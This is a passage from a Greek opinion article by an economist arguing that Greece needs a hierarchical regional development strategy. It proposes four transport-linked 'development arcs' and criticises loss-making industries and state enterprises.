Πάνω απ' όλα χρειάζεται όμως να ληφθούν γενναίες πολιτικές αποφάσεις. Τι θα γίνει ας πούμε με τους βιομηχανικούς κλάδους που όχι μόνο είναι γερασμένοι αλλά και ζημιογόνοι; Όπως η κλωστοϋφαντουργία, ή το έτοιμο ένδυμα, ή ο κλάδος της υπόδησης. Θα συνεχίσει ο κρατικός προϋπολογισμός, δηλαδή οι φορολογούμενοι, να τους επιδοτεί ή θα συμβάλλει στον εξαφανισμό τους, όπως έκανε στο παρελθόν, η Γερμανία, και η Ιαπωνία; Αν περιδιαβεί κανείς τις ΒΙΠΕ, (βιομηχανικές περιοχές) ανά την Ελλάδα εκείνο που θα δει, είναι εγκαταλελειμμένα κτιριακά κελύφη χωρίς παραγωγή και εξοπλισμό. Αν συγκρίνει την ελληνική διψήφια κλαδική κατάταξη με εκείνη της Γερμανίας ή της Ιαπωνίας ή και της Ισπανίας ακόμα, θα δεις πως οι περισσότεροι βιομηχανικοί κλάδοι στην Ελλάδα δεν υπάρχουν στις χώρες αυτές. Υπήρχαν πριν από 35 – 40 χρόνια, αλλά η παγκόσμια βιομηχανική αναδιάρθρωση και η τεχνολογική πρόοδος, τους μετέφερε στις αναδυόμενες χώρες του τότε Τρίτου Κόσμου. Οι ίδιες εξειδικεύθηκαν, μέσω οργανωμένων αναπτυξιακών συγκροτημάτων, σε τομείς υψηλής τεχνολογίας και τεχνογνωσίας. Δορυφόροι, μηχανές αεροσκαφών, υπέρ υπολογιστές, ημιαγωγοί, αυτοκίνητα, φορτηγά πλοία, βιντεοκάμερες, βιοτεχνολογία, κλπ. Η Ιαπωνία μέσω των keiretsu

, δηλαδή ισχυρών πλεγμάτων τραπεζών και ηγετικών βιομηχανιών, η Γερμανία μέσω αλληλοτροφοδοτούμενων δικτύων τραπεζών, βιομηχανιών και πανεπιστημίων, η Ν. Κορέα μέσω ανάλογων οργανώσεων, τα αποκαλούμενα choeboll

, οι ΗΠΑ, μέσω της προστασίας των πολυεθνικών τους εταιριών και των χειρισμών του αποθεματικού τους νομίσματος, και ούτω καθ' εξής.

Τι θα γίνει με τις 52 ΔΕΚΟ, που δεσμεύουν αντιπαραγωγικά ανθρώπινους πόρους και

επιβαρύνουν και αυτές το κρατικό προϋπολογισμό; Τι θα γίνει με τη κλίμακα των επαγγελματικών εξειδικεύσεων που συνδέεται με το εκπαιδευτικό σύστημα το οποίο παράγει υπερπροσφορά κορεσμένων επαγγελμάτων, όπως γιατροί και δικηγόροι και υποπαράγει τεχνικά επαγγέλματα μέσης και υψηλής κλίμακας, όπως μηχανικοί, ηλεκτρονικοί, βιοτεχνικοί, μηχανικοί πετρελαίου και ενεργειακών πόρων, και διεθνείς χρηματοοικονομολόγους; Όλα αυτά και πολλά ακόμα, οφείλουν να απαντηθούν από ένα ιεραρχημένο και ρεαλιστικό αναπτυξιακό σχέδιο, το οποίο θα λαμβάνει υπ' όψιν τα διαθέσιμα και τα σκοπούμενα.

Αναπτυξιακοί πόλοι και αναπτυξιακά τόξα

Για την Ελλάδα ο καταλληλότερος τύπος αναπτυξιακού προτύπου είναι αυτός των ιεραρχημένων περιφερειακών πόλων. Είναι συγκεντρώσεις, βιομηχανικών ή χρηματοοικονομικών ή ενεργειακών οικονομικών δραστηριοτήτων, ανάλογα με την εξειδίκευση της περιφέρειας, με κάθετη και οριζόντια ιεραρχική δομή, που εξασφαλίζουν τη διαπεριφερειακή ανάπτυξη. Δεδομένου ότι η ελληνική οικονομική γεωγραφία είναι ανομοιογενής με υψηλό βαθμό ποικιλίας, οι συνθήκες είναι ευνοϊκές για παραγωγική διαφοροποίηση με διεθνή ανταγωνιστικότητα. Η νησιωτική Ελλάδα, η πεδινή Ελλάδα, η ορεινή Ελλάδα, η αστική Ελλάδα, και οι θαυμάσιες κλιματικές συνθήκες, αποτελούν μοναδικά και αξιοζήλευτα πλεονεκτήματα για κάθε άλλη χώρα. Αντίστοιχα, κάθετες περιφερειακές εξειδικεύσεις μπορούν να δομηθούν πάνω στις οριζόντιες δομές του τουρισμού, των μεταφορών και των τηλεπικοινωνιών, ικανές να προσεταριστούν τόσο εθνικές όσο και διεθνείς επενδύσεις. Αρκεί να υποδειχθεί ένα σταθερό σύστημα αναπτυξιακού προσανατολισμού και ένα σταθερό πλαίσιο φορολογικών και εργασιακών κανόνων.

Με κριτήρια την οικονομική γεωγραφία ή την περιφερειακή εξειδίκευση, μπορούν να σχεδιαστούν, να εφαρμοστούν και να λειτουργήσουν, τέσσερα μεγάλα αναπτυξιακά τόξα, που θα ενθαρρύνουν τις διαδικασίες της ενδογενούς ολοκλήρωσης και θα συνδέουν την εθνική οικονομία με τη διεθνή. Το πρώτο είναι το εγκάρσιο ηπειρωτικό τόξο που θα «ράβει» αναπτυξιακά τις περιοχές από την Κόρινθο έως τη Χαλκιδική, με επίκεντρο μεταφορών τη ΠΑΘΕ, τα μεγάλα λιμάνια, και τις παραγωγικές χωροθετήσεις, το δεύτερο είναι το

νησιωτικό τόξο, που θα αξιοποιεί κάθε πραγματική και εφικτή αναπτυξιακή δυνατότητα, το τρίτο είναι το δυτικό τόξο που θα συνδέει το Πύργο και τα Ιωάννινα μέσω της Εγνατίας και τη Δ. Ευρώπη και τέλος το βόρειο ανατολικό τόξο ανάπτυξης, που θα εκτείνεται από τη Φλώρινα έως την Αλεξ/πολη και θα συνδέει τη χώρα με τη Βαλκανική. Για να λειτουργήσουν αυτού του είδους οι στρατηγικές ανάπτυξης, θα πρέπει να ολοκληρωθούν οι αναγκαίες υποδομές, όλων των τύπων των μεταφορών, της περιφερειακής εξειδίκευσης και της αναβάθμισης των δεξιοτήτων του ανθρώπινου δυναμικού. Φανταστείτε πως αν είχαμε εκπονήσει τέτοιου είδους στρατηγικές ανάπτυξης, πόσο διαφορετικά θα μας αντιμετώπιζαν οι Κινέζοι, για παράδειγμα, ή ακόμα και οι ίδιοι οι εταίροι μας στην Ε. Ένωση. Είναι ένα είδος μεγαλογραφίας των ολυμπιακών σχεδίων αλλά στο εθνικό επίπεδο της οικονομίας. Τα παραδείγματα της Μποκοτά και της Βαρκελώνης είναι πρότυπα μελέτης (best practices) και εφαρμογής.

Φυσικά και είναι αναγκαία η μείωση του ελλείμματος, η αξιοποίηση της δημόσιας περιουσίας, και ό,τι άλλο αποσπασματικά ακούγεται, αλλά ενταγμένο μέσα στις γενικές και ειδικές στρατηγικές ανάπτυξης θα έπαιρνε και το πραγματικό του νόημα.

Η δυτική και ασιατική βιβλιογραφία είναι πολύ πλούσια πάνω σ' αυτά τα θέματα, τόσο εμπειρικά όσο και θεωρητικά. Και είναι έτσι γιατί πριν εφαρμόσουμε κάτι αποτελεσματικά, εμείς οι άνθρωποι, πρέπει να το ψάξουμε εξονυχιστικά.

Δεν είναι η πρώτη φορά που γράφονται τέτοιου είδους προβληματισμοί. Ολοκληρωμένες μελέτες για διατηρήσιμη διαπεριφερειακή ανάπτυξη είχαν προταθεί και στο παρελθόν, το 2002 συγκεκριμένα, αλλά η τότε νοοτροπία του «κυβερνητισμού», τις είχε απορρίψει μετ' επαίνων. Είθε η σημερινή πολιτική ηγεσία να αντιληφθεί πως οι συνθήκες δεν παρέχουν τη πολυτέλεια της ολιγωρίας. Άλλωστε η απορρόφηση των κονδυλίων του ΕΣΠΑ, είναι χαμηλή γιατί στηρίζεται σε περιγραφικούς καταλόγους αιτημάτων χρηματοδότησης και όχι σε ολοκληρωμένες πολιτικές που προωθούν συνεκτικά πλαίσια περιφερειακών εξειδικεύσεων.

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός/ Μελετητής

(τελευταίο βιβλίο: Η γεωπολιτική των Πετρελαίων – η Διεθνής οικονομία και οι κρίσεις)

CEO Κέντρο Μελετών των Οικονομικών κρίσεων και της Διεθνούς Ασφάλειας.

ΥΓ. Το άρθρο είχε ολοκληρωθεί όταν είδε το φως της δημοσιότητας η αναπτυξιακή μελέτη της Alpha Bank, η οποία αν και δεν ιχνηλατεί τον παρά πάνω προβληματισμό εξυπηρετεί ωστόσο τους ίδιους στόχους.

Βιβλιογραφία :

-Robert Girpin: Παγκόσμια πολιτική οικονομία

-Robert Girpin: Η πρόκληση του παγκόσμιου καπιταλισμού

-Παγκοσμιοποίηση και αναπτυξιακό σπινάλ στην Ελλάδα- Ινστιτούτο Στρ. και Αναπτυξιακών Μελετών –Α-Π

